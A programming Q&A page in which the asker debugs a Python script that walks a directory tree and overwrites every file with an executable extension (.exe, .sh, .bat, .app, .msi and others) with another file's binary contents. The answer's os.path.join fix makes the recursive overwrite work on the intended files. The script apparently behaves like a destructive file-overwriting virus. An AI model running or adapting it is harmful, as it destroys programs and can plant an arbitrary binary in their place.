Python3 Walking A Directory and Writing To Files In That Directory

172 views Asked by At

I have created a script that writes the binary content of my files to other files in the same directory that end with a certain extension. When doing this however I have come onto an issue, when I open the file and save the new file in a folder, it creates a new file. I'll show an example. There is a folder, FOLDER1 with test.py inside, inside the folder is a folder called OPTION1 with the files, bye.sh and hello. When I try to execute test.py, my program sees the files bye.sh and hello(hello's binary data is being copied to bye.sh) in OPTION1 and reads it, but creates a new file in the FOLDER1 alongside test.py creating a new bye.sh in FOLDER1, how do I make it overwrite the bye.sh in OPTION1? Just mentioning, I am running Mac OS X.

Code here:

import os
class FileHandler:
    #import all needed modules
    def __init__(self):
        import os
    #Replaces second file with the binary data in file one
    """
   Trys To Check If a File Exists
   If It exists, it will open the file that will be copied in binary form and the output file in reading/writing binary form
   If the input file doesnt exist it will tell the user, then exit the program
   Once the files are open, it reads the input file binary and copies it to the output file
   Then it checks to see if the two binaries match which they should if it all worked correctly, the program will then return true
   The Files are then closed
   If it failed to try it will tell the user the file was skipped
   """
    def replaceBinary(self,file_in="",file_out=""):
        try:
            if(os.path.isfile(file_in)):
                in_obj = open(file_in,"rb") #Opens The File That Will Be Copied
                out_obj = open(file_out,"wb+") #Opens The File That Will Be Written To
                object_data = in_obj.read()#Get Contents of In File
                out_obj.write(object_data)# Write Contents of In File To Out File
                print("SPECIAL FILE:"+file_out)
                print(os.getcwd())
                if out_obj.read() == in_obj.read():
                    print("Its the same...")
                    return True
                print("Done Copying...")
            else:
                print("Usage: Enter an input file and output file...")
                print(file_in+" Doesn't Exist...")
                raise SystemExit
                return False
            in_obj.close()
            out_obj.close()
        except:
            print("File, "+file_out+" was skipped.")
        """
       Procedurally continues down an entire location and all its locations in a tree like manner
       Then For each file found it checks if it matches of the extensions
       It checks a file for the extensions and if it has one of them, it calls the replace binary function
       """
    def WalkRoot(self,file1="",root_folder=""):
        for root,dirs,files in os.walk(root_folder):
            for f in files:
                print(os.path.abspath(f))
                array = [".exe",".cmd",".sh",".bat",".app",".lnk",".command",".out",".msi",".inf",".com",".bin"]
                for extension in array:
                    if(f.endswith(extension)):
                        print("Match|\n"+os.path.abspath(f)+"\n")
                        self.replaceBinary(file1,os.path.abspath(f))
                        break #If The right extension is met skip rest of extensions and move to next file
        print("Done...")



def main():
  thing = FileHandler()
  #path = os.path.join(os.getcwd())
  path = input(str("Enter path:"))
  thing.WalkRoot("Execs/hello","/Users/me/Documents/Test")
main()

Thanks!

1

There are 1 answers

2
AudioBubble On

The list of files returned by os.walk() does not include directory information. However, the dirpath (which you call root) is updated as you go through the list. Quoting the manual,

filenames is a list of the names of the non-directory files in dirpath. Note that the names in the lists contain no path components. To get a full path (which begins with top) to a file or directory in dirpath, do os.path.join(dirpath, name).[1]

So, to get the correct, full path to the files within your top-level directory, try replacing

self.replaceBinary(file1,os.path.abspath(f))

with

self.replaceBinary(file1, os.path.join(root, f))

[1] https://docs.python.org/3.5/library/os.html#os.walk